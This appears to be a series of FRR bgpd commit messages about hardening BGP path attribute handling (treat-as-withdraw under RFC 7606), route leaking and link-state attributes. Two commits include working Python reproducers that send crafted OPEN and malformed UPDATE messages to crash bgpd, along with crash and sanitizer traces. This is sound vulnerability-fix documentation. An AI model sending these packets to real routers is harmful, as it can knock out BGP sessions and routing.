If we receive an attribute that is handled by bgp_attr_malformed(), use
treat-as-withdraw behavior for unknown (or missing to add - if new) attributes.
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
Without this patch, we always set the BGP Prefix SID attribute flag without
checking if it's malformed or not. RFC8669 says that this attribute MUST be discarded.
Also, this fixes the bgpd crash when a malformed Prefix SID attribute is received,
with malformed transitive flags and/or TLVs.
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
Locally leaked routes remain active after the nexthop VRF interface goes
down.
Update route leaking when the loopback or a VRF interface state change is
received from zebra.
Signed-off-by: Louis Scalbert <louis.scalbert@6wind.com>
If 'bgp network import-check' is defined on the source BGP session,
prefixes that are defined with the network command cannot be leaked to
the other VRFs BGP table even if they are present in the origin VRF RIB
if the 'rt import' statement is defined after the 'network <prefix>'
ones.
When a prefix nexthop is updated, update the prefix route leaking. The
current state of nexthop validation is now stored in the attributes of
the bgp path info. Attributes are compared with the previous ones at
route leaking update so that a nexthop validation change now triggers
the update of destination VRF BGP table.
Signed-off-by: Louis Scalbert <louis.scalbert@6wind.com>
If we receive MP_UNREACH_NLRI, we should stop handling remaining NLRIs if
no mandatory path attributes received.
In other words, if MP_UNREACH_NLRI received, the remaining NLRIs should be handled
as a new data, but without mandatory attributes, it's a malformed packet.
In normal case, this MUST not happen at all, but to avoid crashing bgpd, we MUST
handle that.
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be
processed as a normal UPDATE without mandatory attributes, that could lead
to harmful behavior. In this case, a crash for route-maps with the configuration
such as:
```
router bgp 65001
no bgp ebgp-requires-policy
neighbor 127.0.0.1 remote-as external
neighbor 127.0.0.1 passive
neighbor 127.0.0.1 ebgp-multihop
neighbor 127.0.0.1 disable-connected-check
neighbor 127.0.0.1 update-source 127.0.0.2
neighbor 127.0.0.1 timers 3 90
neighbor 127.0.0.1 timers connect 1
!
address-family ipv4 unicast
neighbor 127.0.0.1 addpath-tx-all-paths
neighbor 127.0.0.1 default-originate
neighbor 127.0.0.1 route-map RM_IN in
exit-address-family
exit
!
route-map RM_IN permit 10
set as-path prepend 200
exit
```
Send a malformed optional transitive attribute:
```
import socket
import time
OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")
KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")
UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(100)
s.close()
```
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
If we send a crafted BGP UPDATE message without mandatory attributes, we do
not check if the length of the path attributes is zero or not. We only check
if attr->flag is at least set or not. Imagine we send only unknown transit
attribute, then attr->flag is always 0. Also, this is true only if graceful-restart
capability is received.
A crash:
```
bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16)
bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17
BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting...
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d]
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593]
BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181]
BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980]
BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a]
BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290]
BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610]
BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5]
BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867]
BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6]
BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597]
BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3]
BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0]
BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979]
```
Sending:
```
import socket
import time
OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")
KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")
UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(1000)
s.close()
```
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
Also:
- replace all /* fallthrough */ comments with portable fallthrough;
pseudo keyword to accomodate both gcc and clang
- add missing break; statements as required by older versions of gcc
- cleanup some code to remove unnecessary fallthrough
Signed-off-by: Igor Ryzhov <iryzhov@nfware.com>
At each EBGP boundary, BGP path attributes are modified as per [RFC4271], which includes stripping any IBGP-only attributes.
Some networks span more than one autonomous system and require more flexibility in the propagation of path attributes. It is worth noting that these multi-AS networks have a common or single administrative entity. These networks are said to belong to One Administrative Domain (OAD). It is desirable to carry IBGP-only attributes across EBGP peerings when the peers belong to an OAD.
This document defines a new EBGP peering type known as EBGP-OAD, which is used between two EBGP peers that belong to an OAD. This document also defines rules for route announcement and processing for EBGP-OAD peers.
https://datatracker.ietf.org/doc/html/draft-uttaro-idr-bgp-oad
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
Fix comparaison of link state attributes pointers in
link_state_hash_cmp().
> CID 1568379 (#1 of 1): Logically dead code (DEADCODE)
> dead_error_line: Execution cannot reach this statement: return false;.
Fixes: 8b531b1107 ("bgpd: store and send bgp link-state attributes")
Signed-off-by: Louis Scalbert <louis.scalbert@6wind.com>
Fix the following coverity issue. attr cannot be NULL.
> CID 1568376 (#1 of 1): Dereference before null check (REVERSE_INULL)
> check_after_deref: Null-checking attr suggests that it may be null, but it has already been dereferenced on all paths leading to the check.
Fixes: 8b531b1107 ("bgpd: store and send bgp link-state attributes")
Signed-off-by: Louis Scalbert <louis.scalbert@6wind.com>
Add the ability to store a raw copy of the incoming BGP Link-State
attributes and to redistribute them as is to other routes.
New types of data BGP_ATTR_LS and BGP_ATTR_LS_DATA are defined.
Signed-off-by: Louis Scalbert <louis.scalbert@6wind.com>
Signed-off-by: Olivier Dugeon <olivier.dugeon@orange.com>
Add the ability to send link-state prefixes that are in the BGP table.
Signed-off-by: Louis Scalbert <louis.scalbert@6wind.com>
Signed-off-by: Olivier Dugeon <olivier.dugeon@orange.com>
https://www.rfc-editor.org/rfc/rfc2042.html
says: 255 reserved for development
In FRR, 255 is kinda used too BGP_ATTR_VNC, even more we allow setting 255 in CLI.
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
rfc7606 defines:
Attributes 17 (AS4_PATH), 18 (AS4_AGGREGATOR), 22 (PMSI_TUNNEL), 23 (Tunnel
Encapsulation Attribute), 26 (AIGP), 27 (PE Distinguisher Labels),
and 29 (BGP-LS Attribute) do have error handling consistent with
Section 8 and thus are not further discussed herein.
Section 8 defines:
The "treat-as-withdraw" approach is generally
preferred and the "session reset" approach is discouraged.
For any malformed attribute that is handled by the "attribute
discard" instead of the "treat-as-withdraw" approach, it is critical
to consider the potential impact of doing so.
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
https://datatracker.ietf.org/doc/html/rfc6514#page-10 states:
A router that supports the PMSI Tunnel attribute considers this
attribute to be malformed if either (a) it contains an undefined
tunnel type in the Tunnel Type field of the attribute, or (b) the
router cannot parse the Tunnel Identifier field of the attribute as a
tunnel identifier of the tunnel types specified in the Tunnel Type
field of the attribute.
When a router that receives a BGP Update that contains the PMSI
Tunnel attribute with its Partial bit set determines that the
attribute is malformed, the router SHOULD treat this Update as though
all the routes contained in this Update had been withdrawn.
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
Before this path we used session reset method, which is discouraged by rfc7606.
Handle this as rfc requires.
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
Found when fuzzing:
```
==3470861==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xffff77801ef7 at pc 0xaaaaba7b3dbc bp 0xffffcff0e760 sp 0xffffcff0df50
READ of size 2 at 0xffff77801ef7 thread T0
0 0xaaaaba7b3db8 in __asan_memcpy (/home/ubuntu/frr_8_5_2/frr_8_5_2_fuzz_clang/bgpd/bgpd+0x363db8) (BuildId: cc710a2356e31c7f4e4a17595b54de82145a6e21)
1 0xaaaaba81a8ac in ptr_get_be16 /home/ubuntu/frr_8_5_2/frr_8_5_2_fuzz_clang/./lib/stream.h:399:2
2 0xaaaaba819f2c in bgp_attr_aigp_valid /home/ubuntu/frr_8_5_2/frr_8_5_2_fuzz_clang/bgpd/bgp_attr.c:504:3
3 0xaaaaba808c20 in bgp_attr_aigp /home/ubuntu/frr_8_5_2/frr_8_5_2_fuzz_clang/bgpd/bgp_attr.c:3275:7
4 0xaaaaba7ff4e0 in bgp_attr_parse /home/ubuntu/frr_8_5_2/frr_8_5_2_fuzz_clang/bgpd/bgp_attr.c:3678:10
```
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
Relax this handling (RFC 7606) only for eBGP peers.
More details: https://datatracker.ietf.org/doc/html/rfc7606#section-4
There are two error cases in which the Total Attribute Length value
can be in conflict with the enclosed path attributes, which
themselves carry length values:
* In the first case, the length of the last encountered path
attribute would cause the Total Attribute Length to be exceeded
when parsing the enclosed path attributes.
* In the second case, fewer than three octets remain (or fewer than
four octets, if the Attribute Flags field has the Extended Length
bit set) when beginning to parse the attribute. That is, this
case exists if there remains unconsumed data in the path
attributes but yet insufficient data to encode a single minimum-
sized path attribute. <<<< HANDLING THIS CASE IN THIS COMMIT >>>>
In either of these cases, an error condition exists and the "treat-
as-withdraw" approach MUST be used (unless some other, more severe
error is encountered dictating a stronger approach), and the Total
Attribute Length MUST be relied upon to enable the beginning of the
NLRI field to be located.
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
As per RFC7606 section 3g,
g. If the MP_REACH_NLRI attribute or the MP_UNREACH_NLRI [RFC4760]
attribute appears more than once in the UPDATE message, then a
NOTIFICATION message MUST be sent with the Error Subcode
"Malformed Attribute List". If any other attribute (whether
recognized or unrecognized) appears more than once in an UPDATE
message, then all the occurrences of the attribute other than the
first one SHALL be discarded and the UPDATE message will continue
to be processed.
However, notification is sent out currently for all the cases.
Fix:
For cases other than MP_REACH_NLRI & MP_UNREACH_NLRI, handling has been updated
to discard the occurrences other than the first one and proceed with further parsing.
Again, the handling is relaxed only for the EBGP case.
Also, since in case of error, the attribute is discarded &
stream pointer is being adjusted accordingly based on length,
the total attribute length sanity check case has been moved up in the function
to be checked before this case.
Signed-off-by: Samanvitha B Bhargav <bsamanvitha@vmware.com>
As per RFC7606 section 4,
when the total attribute length value is in conflict with the
enclosed attribute length, treat-as-withdraw approach must be followed.
However, notification is being sent out for this case currently,
that leads to session reset.
Fix:
The handling has been updated to conform to treat-as-withdraw
approach only for EBGP case. For IBGP, since we are not following
treat-as-withdraw approach for any of the error handling cases,
the existing behavior is retained for the IBGP.
Signed-off-by: Samanvitha B Bhargav <bsamanvitha@vmware.com>
RCA:
On encountering any attribute error for core attributes in update message,
the error handling is set to 'treat as withdraw' and
further parsing of the remaining attributes is skipped.
But the stream pointer is not being correctly adjusted to
point to the next NLRI field skipping the rest of the attributes.
This leads to incorrect parsing of the NLRI field,
which causes BGP session to reset.
Fix:
The stream pointer offset is rightly adjusted to point to the NLRI field correctly
when the malformed attribute is encountered and remaining attribute parsing is skipped.
Signed-off-by: Samanvitha B Bhargav <bsamanvitha@vmware.com>
The total number of octets of the Sub-TLV Value field. The Sub-TLV Length field
contains 1 octet if the Sub-TLV Type field contains a value in the range from
0-127. The Sub-TLV Length field contains two octets if the Sub-TLV Type field
contains a value in the range from 128-255.
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
When the remote peer is neither EBGP nor confed, aspath is the
shadow copy of attr->aspath in bgp_packet_attribute(). Striping
AS4_PATH should not be done on the aspath directly, since
that would lead to bgpd core dump when unintern the attr.
Signed-off-by: Yuan Yuan <yyuanam@amazon.com>
Adds a generalized martian reimport function used for triggering a
relearn/reimport of EVPN routes that were previously filtered/deleted
as a result of a "self" check (either during import or by a martian
change handler). The MAC-VRF SoO is the first consumer of this function,
but can be expanded for use with Martian Tunnel-IPs, Interface-IPs,
Interface-MACs, and RMACs.
Signed-off-by: Trey Aspelund <taspelund@nvidia.com>
Based on RFC-4760, if NEXT_HOP attribute is not
suppose to be set if MP_REACH_NLRI NLRI is used.
for IPv4 aggregate route only NEXT_HOP attribute
with ipv4 prefixlen needs to be set.
Testing Done:
Before fix:
----------
aggregate route:
*> 184.123.0.0/16 ::(TORC11) 0 32768 i
After fix:
---------
aggregate route:
*> 184.123.0.0/16 0.0.0.0(TORC11) 0 32768 i
* i peerlink-3 0 100 0 i
* uplink1 0 4435 5546 i
184.123.1.0/24 0.0.0.0(TORC11) 0 32768 i
s> 184.123.8.0/22 0.0.0.0(TORC11) 0 32768 i
Signed-off-by: Chirag Shah <chirag@nvidia.com>
